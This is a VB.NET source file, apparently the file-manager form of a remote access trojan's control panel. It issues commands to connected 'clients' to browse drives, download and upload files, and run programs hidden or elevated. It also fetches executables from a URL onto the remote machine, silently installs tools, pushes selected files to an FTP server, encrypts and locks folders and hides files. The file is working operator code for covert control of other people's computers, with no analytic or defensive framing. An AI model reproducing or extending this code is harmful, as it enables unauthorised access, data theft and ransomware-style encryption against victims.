624 lines
29 KiB
VB.net
624 lines
29 KiB
VB.net
Imports System.IO
|
|
Imports System.Threading
|
|
Public Class FM
|
|
|
|
Public C As Client
|
|
Public CID As String
|
|
|
|
Public ccppath As String
|
|
Public ccps As String
|
|
Private Sub FM_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
|
Dim B As Byte() = SB("GetDrives")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
ListView1.Controls.Add(PictureBox1)
|
|
PictureBox1.Visible = False
|
|
End Sub
|
|
|
|
Public Sub SearchTextInListView(text As String, lstSource As ListView, Optional SubItemsN As Integer = 0)
|
|
Dim listView As ListView = New ListView()
|
|
Dim a As String = ""
|
|
Dim item1 As ListViewItem = Nothing
|
|
Dim flag As Boolean = a = "" = (text = "")
|
|
If Not flag Then
|
|
Dim Index As Integer
|
|
Index = 0
|
|
While Index < lstSource.Items.Count
|
|
lstSource.Invoke(New MethodInvoker(Sub()
|
|
item1 = lstSource.Items(Index)
|
|
End Sub))
|
|
Dim flag2 As Boolean = Not item1.SubItems(SubItemsN).Text.ToLower().Contains(text.ToLower())
|
|
If flag2 Then
|
|
Index -= 1
|
|
lstSource.Invoke(New MethodInvoker(Sub()
|
|
lstSource.Items.Remove(item1)
|
|
lstSource.EndUpdate()
|
|
End Sub))
|
|
Dim flag3 As Boolean = Not listView.Items.Contains(item1)
|
|
If flag3 Then
|
|
listView.Items.Add(item1)
|
|
End If
|
|
End If
|
|
Index += 1
|
|
End While
|
|
Dim cItem As ListViewItem
|
|
For i As Integer = 0 To listView.Items.Count - 1
|
|
cItem = listView.Items(i)
|
|
Dim flag4 As Boolean = cItem.SubItems(SubItemsN).Text.ToLower().Contains(text.ToLower())
|
|
If flag4 Then
|
|
i -= 1
|
|
listView.Items.Remove(cItem)
|
|
lstSource.Invoke(New MethodInvoker(Sub()
|
|
lstSource.BeginUpdate()
|
|
lstSource.Items.Add(cItem)
|
|
lstSource.EndUpdate()
|
|
End Sub))
|
|
End If
|
|
Next
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub FM_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
|
Dim B As Byte() = SB("CloseFM")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub ListView1_DoubleClick(ByVal sender As Object, ByVal e As System.EventArgs) Handles ListView1.DoubleClick
|
|
Try
|
|
If ListView1.FocusedItem.ImageIndex = 0 Or ListView1.FocusedItem.ImageIndex = 1 Or ListView1.FocusedItem.ImageIndex = 3 Or ListView1.FocusedItem.ImageIndex = 4 Or ListView1.FocusedItem.ImageIndex = 2 Then
|
|
If Guna2TextBox1.Text.Length = 0 Then
|
|
Guna2TextBox1.Text &= ListView1.FocusedItem.Text
|
|
|
|
Else
|
|
Guna2TextBox1.Text &= ListView1.FocusedItem.Text & "\"
|
|
|
|
End If
|
|
RefreshList()
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Public Sub RefreshList()
|
|
If Guna2TextBox1.Text = "" Then
|
|
Dim B As Byte() = SB("GetDrives")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Else
|
|
Dim B As Byte() = SB("FileManager" & SettingsHelper.SPL & Guna2TextBox1.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ListView1_KeyDown(sender As Object, e As KeyEventArgs) Handles ListView1.KeyDown
|
|
Try
|
|
If e.Modifiers = Keys.Control AndAlso e.KeyCode = Keys.A Then
|
|
If ListView1.Items.Count > 0 Then
|
|
For Each x As ListViewItem In ListView1.Items
|
|
x.Selected = True
|
|
Next
|
|
End If
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
|
|
If e.KeyCode = Keys.Enter Then
|
|
e.SuppressKeyPress = True
|
|
Try
|
|
If ListView1.FocusedItem.ImageIndex = 0 Or ListView1.FocusedItem.ImageIndex = 1 Or ListView1.FocusedItem.ImageIndex = 3 Or ListView1.FocusedItem.ImageIndex = 4 Or ListView1.FocusedItem.ImageIndex = 2 Then
|
|
If Guna2TextBox1.Text.Length = 0 Then
|
|
Guna2TextBox1.Text &= ListView1.FocusedItem.Text
|
|
|
|
Else
|
|
Guna2TextBox1.Text &= ListView1.FocusedItem.Text & "\"
|
|
|
|
End If
|
|
RefreshList()
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End If
|
|
If e.KeyCode = Keys.Back Then
|
|
e.SuppressKeyPress = True
|
|
Try
|
|
If Guna2TextBox1.Text.Length < 4 Then
|
|
Guna2TextBox1.Text = ""
|
|
|
|
Dim B As Byte() = SB("GetDrives" & SettingsHelper.SPL)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
|
|
Else
|
|
Guna2TextBox1.Text = Guna2TextBox1.Text.Substring(0, Guna2TextBox1.Text.LastIndexOf("\"))
|
|
Guna2TextBox1.Text = Guna2TextBox1.Text.Substring(0, Guna2TextBox1.Text.LastIndexOf("\") + 1)
|
|
RefreshList()
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
|
Try
|
|
If Not C.IsConnected Then
|
|
Close()
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub ListView1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles ListView1.SelectedIndexChanged
|
|
PictureBox1.Image = Nothing
|
|
PictureBox1.Visible = False
|
|
If (ListView1.SelectedItems.Count = 1) Then
|
|
|
|
Dim item As ListViewItem = ListView1.SelectedItems.Item(0)
|
|
|
|
Try
|
|
If item.Text.ToLower.EndsWith(".mp4") Or item.Text.ToLower.EndsWith(".avi") Or item.Text.ToLower.EndsWith(".mkv") Or item.Text.ToLower.EndsWith(".3gp") Or item.Text.ToLower.EndsWith(".wmv") Or item.Text.ToLower.EndsWith(".webm") Then
|
|
Dim B As Byte() = SB("viewvideo" & SettingsHelper.SPL & Guna2TextBox1.Text & item.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
PictureBox1.Visible = True
|
|
Exit Sub
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
|
|
Try
|
|
If item.Text.ToLower.EndsWith(".jpg") Or item.Text.ToLower.EndsWith(".png") Or item.Text.ToLower.EndsWith(".jpeg") Or item.Text.ToLower.EndsWith(".gif") Or item.Text.ToLower.EndsWith(".bmp") Or item.Text.ToLower.EndsWith(".ico") Or item.Text.ToLower.EndsWith(".tiff") Then
|
|
|
|
Dim B As Byte() = SB("viewimage" & SettingsHelper.SPL & Guna2TextBox1.Text & item.Text & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
PictureBox1.Visible = True
|
|
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub FM_Resize(sender As Object, e As EventArgs) Handles Me.Resize
|
|
PictureBox1.Left = ((ListView1.Width - PictureBox1.Width) - &H19)
|
|
PictureBox1.Top = ((ListView1.Height - PictureBox1.Height) - &H19)
|
|
End Sub
|
|
|
|
Private Sub ToolStripStatusLabel1_Click(sender As Object, e As EventArgs) Handles ToolStripStatusLabel1.Click
|
|
ToolStripStatusLabel1.Visible = False
|
|
ToolStripStatusLabel1.Text = Nothing
|
|
End Sub
|
|
|
|
Private Sub ListView1_DragEnter(sender As Object, e As DragEventArgs) Handles ListView1.DragEnter
|
|
If e.Data.GetDataPresent(DataFormats.FileDrop) Then
|
|
e.Effect = DragDropEffects.Copy
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ListView1_DragDrop(sender As Object, e As DragEventArgs) Handles ListView1.DragDrop
|
|
Dim files() As String = e.Data.GetData(DataFormats.FileDrop)
|
|
For Each path In files
|
|
If IO.File.Exists(path) Then
|
|
Dim B As Byte() = SB("sendfileto" & SettingsHelper.SPL & Guna2TextBox1.Text & IO.Path.GetFileName(path) & SettingsHelper.SPL & Convert.ToBase64String(Compress(IO.File.ReadAllBytes(path))))
|
|
|
|
ToolStripStatusLabel1.ForeColor = Color.Green
|
|
ToolStripStatusLabel1.Text = IO.Path.GetFileName(path) & " Uploading.."
|
|
ToolStripStatusLabel1.Visible = True
|
|
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
|
|
End If
|
|
Next
|
|
End Sub
|
|
|
|
Private Sub BackToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles BackToolStripMenuItem1.Click
|
|
Try
|
|
If Guna2TextBox1.Text.Length < 4 Then
|
|
Guna2TextBox1.Text = ""
|
|
|
|
Dim B As Byte() = SB("GetDrives")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
|
|
Else
|
|
Guna2TextBox1.Text = Guna2TextBox1.Text.Substring(0, Guna2TextBox1.Text.LastIndexOf("\"))
|
|
Guna2TextBox1.Text = Guna2TextBox1.Text.Substring(0, Guna2TextBox1.Text.LastIndexOf("\") + 1)
|
|
RefreshList()
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub RefreshToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles RefreshToolStripMenuItem.Click
|
|
RefreshList()
|
|
End Sub
|
|
|
|
Private Sub DesktopToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles DesktopToolStripMenuItem.Click
|
|
Dim B As Byte() = SB("GOTO" & SettingsHelper.SPL & "Desktop")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub UserFolderToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles UserFolderToolStripMenuItem.Click
|
|
Dim B As Byte() = SB("GOTO" & SettingsHelper.SPL & "User")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub TempToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles TempToolStripMenuItem1.Click
|
|
Dim B As Byte() = SB("GOTO" & SettingsHelper.SPL & "Temp")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub AppDataToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles AppDataToolStripMenuItem.Click
|
|
Dim B As Byte() = SB("GOTO" & SettingsHelper.SPL & "AppData")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub StartupToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles StartupToolStripMenuItem1.Click
|
|
Dim B As Byte() = SB("GOTO" & SettingsHelper.SPL & "Startup")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub CopyToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles CopyToolStripMenuItem1.Click
|
|
ccppath = Nothing
|
|
ccps = Nothing
|
|
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
|
ccppath &= "-=>" & Guna2TextBox1.Text & LV.Text
|
|
ccps = "-=>"
|
|
Next
|
|
End Sub
|
|
|
|
Private Sub CutToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles CutToolStripMenuItem1.Click
|
|
ccppath = Nothing
|
|
ccps = Nothing
|
|
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
|
ccppath &= "-=>" & Guna2TextBox1.Text & LV.Text
|
|
ccps = "*"
|
|
Next
|
|
End Sub
|
|
|
|
Private Sub PasteToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles PasteToolStripMenuItem.Click
|
|
If ccps = "-=>" Then
|
|
|
|
Dim B As Byte() = SB("CPP" & SettingsHelper.SPL & ccppath & SettingsHelper.SPL & Guna2TextBox1.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
|
|
ccppath = Nothing
|
|
ccps = Nothing
|
|
|
|
End If
|
|
|
|
If ccps = "*" Then
|
|
|
|
Dim B As Byte() = SB("CTT" & SettingsHelper.SPL & ccppath & SettingsHelper.SPL & Guna2TextBox1.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
|
|
ccppath = Nothing
|
|
ccps = Nothing
|
|
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub EditToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles EditToolStripMenuItem1.Click
|
|
Dim B As Byte() = SB("tss" & SettingsHelper.SPL & Guna2TextBox1.Text & ListView1.FocusedItem.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub NormalToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles NormalToolStripMenuItem1.Click
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
|
Dim B As Byte() = SB("Execute" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End Sub
|
|
|
|
Private Sub HiddenToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles HiddenToolStripMenuItem1.Click
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
|
Dim B As Byte() = SB("ExecuteHide" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End Sub
|
|
|
|
Private Sub RunAsToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles RunAsToolStripMenuItem1.Click
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
|
Dim B As Byte() = SB("ExecuteRunAs" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End Sub
|
|
|
|
Private Sub RenameToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles RenameToolStripMenuItem1.Click
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
|
Select Case LV.ImageIndex
|
|
Case 0 To 1
|
|
Case 2
|
|
Dim a As String
|
|
a = InputBox("Enter New Folder Name", "Folder", LV.Text)
|
|
If a = LV.Text Or String.IsNullOrEmpty(a) Then
|
|
Return
|
|
Else
|
|
Dim B As Byte() = SB("Rename" & SettingsHelper.SPL & "Folder" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text & SettingsHelper.SPL & a)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End If
|
|
|
|
Case Else
|
|
|
|
Dim a As String
|
|
a = InputBox("Enter New File Name", "File", LV.Text)
|
|
|
|
If a = LV.Text Or String.IsNullOrEmpty(a) Then
|
|
Return
|
|
Else
|
|
Dim B As Byte() = SB("Rename" & SettingsHelper.SPL & "File" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text & SettingsHelper.SPL & a)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End If
|
|
|
|
End Select
|
|
Next
|
|
End Sub
|
|
|
|
Private Sub DeleteToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles DeleteToolStripMenuItem1.Click
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
|
Select Case LV.ImageIndex
|
|
Case 0 To 1
|
|
Case 2
|
|
Dim B As Byte() = SB("Delete" & SettingsHelper.SPL & "Folder" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Case Else
|
|
Dim B As Byte() = SB("Delete" & SettingsHelper.SPL & "File" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Select
|
|
Next
|
|
End Sub
|
|
|
|
Private Sub UploadToolStripMenuItem2_Click(sender As Object, e As EventArgs) Handles UploadToolStripMenuItem2.Click
|
|
Dim open As OpenFileDialog = New OpenFileDialog With {
|
|
.Filter = "All files (*.*)|*.*",
|
|
.Multiselect = True
|
|
}
|
|
|
|
Dim result As DialogResult = open.ShowDialog()
|
|
If result = DialogResult.OK Then
|
|
Dim filenames As String() = open.FileNames
|
|
For i As Integer = 0 To filenames.Length - 1
|
|
|
|
Dim B As Byte() = SB("sendfileto" & SettingsHelper.SPL & Guna2TextBox1.Text & Path.GetFileName(filenames(i)) & SettingsHelper.SPL & Convert.ToBase64String(Compress(IO.File.ReadAllBytes(filenames(i)))))
|
|
|
|
ToolStripStatusLabel1.ForeColor = Color.Green
|
|
ToolStripStatusLabel1.Text = Path.GetFileName(filenames(i)) & " Uploading.."
|
|
ToolStripStatusLabel1.Visible = True
|
|
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
|
|
Next
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub DownloadToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles DownloadToolStripMenuItem1.Click
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
|
Dim B As Byte() = SB("downloadfile" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text & SettingsHelper.SPL & LV.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End Sub
|
|
|
|
Private Sub NewFolderToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles NewFolderToolStripMenuItem1.Click
|
|
|
|
Dim n As String
|
|
n = InputBox("Enter The folder's Name", "Creat New Folder")
|
|
|
|
If Not String.IsNullOrEmpty(n) Then
|
|
Dim B As Byte() = SB("creatnewfolder" & SettingsHelper.SPL & Guna2TextBox1.Text & n)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End If
|
|
|
|
End Sub
|
|
|
|
Private Sub NewFileToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles NewFileToolStripMenuItem.Click
|
|
Dim n As String
|
|
n = InputBox("Enter The File Name", "Creat New File")
|
|
If Not String.IsNullOrEmpty(n) Then
|
|
Dim B As Byte() = SB("creatfile" & SettingsHelper.SPL & Guna2TextBox1.Text & n)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ShowFolderFileToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ShowFolderFileToolStripMenuItem.Click
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
|
Dim B As Byte() = SB("showfolderfile" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End Sub
|
|
|
|
Private Sub HideFolderFileToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles HideFolderFileToolStripMenuItem.Click
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
|
Dim B As Byte() = SB("hidefolderfile" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End Sub
|
|
|
|
Private Sub HiddenInstallationlToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles HiddenInstallationlToolStripMenuItem.Click
|
|
Try
|
|
Dim B As Byte() = SB("7zIT" & SettingsHelper.SPL & Convert.ToBase64String(Compress(My.Resources._7z)) & SettingsHelper.SPL & Convert.ToBase64String(Compress(My.Resources._7zD)))
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub ZipToolStripMenuItem2_Click(sender As Object, e As EventArgs) Handles ZipToolStripMenuItem2.Click
|
|
Dim ou As String
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
|
ou &= " -ir!" & """" & Guna2TextBox1.Text & LV.Text & """" & " "
|
|
Next
|
|
Dim B As Byte() = SB("7z" & SettingsHelper.SPL & " a -r " & """" & Guna2TextBox1.Text & ListView1.FocusedItem.Text & ".zip" & """" & ou & " -y")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub UnzipToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles UnzipToolStripMenuItem1.Click
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
|
Dim B As Byte() = SB("7z" & SettingsHelper.SPL & " x " & """" & Guna2TextBox1.Text & LV.Text & """" & " -o" & """" & Guna2TextBox1.Text & LV.Text.Replace(".zip", "") & """" & " -y")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End Sub
|
|
|
|
Private Sub UploadToolStripMenuItem_Click_1(sender As Object, e As EventArgs) Handles UploadToolStripMenuItem.Click
|
|
Dim ftphost As String = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Ftphost", Nothing)
|
|
Dim ftpuser As String = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Ftpuser", Nothing)
|
|
Dim ftppass As String = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Ftppass", Nothing)
|
|
Dim ftpport As String = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Ftpport", Nothing)
|
|
|
|
Dim Files As String
|
|
Files = Nothing
|
|
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
|
Files &= "-=>" & Guna2TextBox1.Text & LV.Text
|
|
Next
|
|
Dim B As Byte() = SB("UPtoFtp" & SettingsHelper.SPL & ftpuser & SettingsHelper.SPL & ftppass & SettingsHelper.SPL & ftphost & SettingsHelper.SPL & ftpport & SettingsHelper.SPL & Files)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub SettingsToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles SettingsToolStripMenuItem1.Click
|
|
Dim f As New Ftp
|
|
f.StartPosition = FormStartPosition.CenterParent
|
|
f.ShowDialog()
|
|
End Sub
|
|
|
|
Private Sub SendFromLinkToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles SendFromLinkToolStripMenuItem1.Click
|
|
|
|
Dim urle As String
|
|
urle = "http://www.example.com/File.exe"
|
|
Dim str3 As String = Interaction.InputBox("Set The Url", "From Url", urle)
|
|
Dim fname As String = "server.exe"
|
|
Dim str4 As String = Interaction.InputBox("Set The File Name", "File Name", fname)
|
|
|
|
If (str3.Length = 0) Or str4.Length = 0 Then
|
|
Else
|
|
Dim B As Byte() = SB("FURL" & SettingsHelper.SPL & str3 & SettingsHelper.SPL & Guna2TextBox1.Text & str4)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End If
|
|
|
|
End Sub
|
|
|
|
Private Sub SetBackgroundToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles SetBackgroundToolStripMenuItem1.Click
|
|
Dim B As Byte() = SB("ChangeWL" & SettingsHelper.SPL & Guna2TextBox1.Text & ListView1.FocusedItem.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub PlayToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles PlayToolStripMenuItem1.Click
|
|
Dim B As Byte() = SB("RSS" & SettingsHelper.SPL & Guna2TextBox1.Text & ListView1.FocusedItem.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub StopToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles StopToolStripMenuItem1.Click
|
|
Dim B As Byte() = SB("RSSDis")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub Guna2TextBox1_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox1.KeyDown
|
|
If e.KeyCode = Keys.Enter Then
|
|
e.SuppressKeyPress = True
|
|
RefreshList()
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub EncryptToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles EncryptToolStripMenuItem.Click
|
|
Dim Files As String
|
|
Files = Nothing
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
|
Files &= "-=>" & Guna2TextBox1.Text & LV.Text
|
|
Next
|
|
Dim B As Byte() = SB("ENC" & SettingsHelper.SPL & Files)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub DecryptToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles DecryptToolStripMenuItem.Click
|
|
Dim Files As String
|
|
Files = Nothing
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
|
Files &= "-=>" & Guna2TextBox1.Text & LV.Text
|
|
Next
|
|
Dim B As Byte() = SB("DEC" & SettingsHelper.SPL & Files)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub LockToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles LockToolStripMenuItem.Click
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
|
Dim B As Byte() = SB("LockDir" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End Sub
|
|
|
|
Private Sub UnlockToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles UnlockToolStripMenuItem.Click
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
|
Dim B As Byte() = SB("UnlockDir" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End Sub
|
|
|
|
Private Sub DownloadFolderToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles DownloadFolderToolStripMenuItem.Click
|
|
Try
|
|
Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", CID)
|
|
If Not Directory.Exists(fullPath) Then
|
|
Directory.CreateDirectory(fullPath)
|
|
End If
|
|
Process.Start(fullPath)
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton4_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton4.Click
|
|
Try
|
|
If Guna2TextBox1.Text.Length < 4 Then
|
|
Guna2TextBox1.Text = ""
|
|
|
|
Dim B As Byte() = SB("GetDrives" & SettingsHelper.SPL)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend),B)
|
|
|
|
Else
|
|
Guna2TextBox1.Text = Guna2TextBox1.Text.Substring(0, Guna2TextBox1.Text.LastIndexOf("\"))
|
|
Guna2TextBox1.Text = Guna2TextBox1.Text.Substring(0, Guna2TextBox1.Text.LastIndexOf("\") + 1)
|
|
RefreshList()
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Guna2TextBox2_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox2.TextChanged
|
|
Try
|
|
SearchTextInListView(Guna2TextBox2.Text, ListView1, 0)
|
|
Catch
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Guna2TextBox2_KeyPress(sender As Object, e As KeyPressEventArgs) Handles Guna2TextBox2.KeyPress
|
|
Dim flag As Boolean = e.KeyChar = vbBack
|
|
If flag Then
|
|
Dim flag2 As Boolean = Guna2TextBox2.Text.Length = 1
|
|
If flag2 Then
|
|
Try
|
|
Try
|
|
Dim flag3 As Boolean = Guna2TextBox1.Text <> ""
|
|
If flag3 Then
|
|
Dim B As Byte() = SB("FileManager" & SettingsHelper.SPL & Guna2TextBox1.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Else
|
|
Dim B As Byte() = SB("GetDrives")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End If
|
|
Catch
|
|
End Try
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End If
|
|
End If
|
|
End Sub
|
|
|
|
